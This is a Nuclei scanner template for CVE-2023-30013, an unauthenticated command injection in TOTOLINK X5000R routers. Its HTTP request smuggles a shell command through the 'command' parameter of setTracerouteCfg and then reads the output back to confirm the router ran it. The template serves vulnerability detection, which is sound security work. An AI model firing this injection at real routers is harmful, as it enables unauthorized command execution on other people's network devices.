59 lines
1.8 KiB
YAML
59 lines
1.8 KiB
YAML
id: CVE-2023-30013
|
|
|
|
info:
|
|
name: TOTOLink - Unauthenticated Command Injection
|
|
author: gy741
|
|
severity: critical
|
|
description: |
|
|
TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-30013
|
|
- https://github.com/Kazamayc/vuln/tree/main/TOTOLINK/X5000R/2
|
|
- http://packetstormsecurity.com/files/174799/TOTOLINK-Wireless-Routers-Remote-Command-Execution.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-30013
|
|
cwe-id: CWE-78
|
|
epss-score: 0.9257
|
|
epss-percentile: 0.98747
|
|
cpe: cpe:2.3:o:totolink:x5000r_firmware:9.1.0u.6118_b20201102:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: totolink
|
|
product: x5000r_firmware
|
|
tags: packetstorm,cve,cve2023,totolink,unauth,rce,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
{"command":"127.0.0.1; ls>../{{randstr}};#","num":"230","topicurl":"setTracerouteCfg"}
|
|
- |
|
|
GET /{{randstr}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_1
|
|
words:
|
|
- "lan_ip"
|
|
- "reserv"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- ".sh"
|
|
- ".cgi"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022100cd799418d51ff7e34d999c08021706b11c64395d9d9533def09aa68bb6e649240220416e5b2ab4fe89b1de5e69c59d09aa913e1322379de52793f3ad664b6de3fb18:922c64590222798bb761d5b6d8e72950
|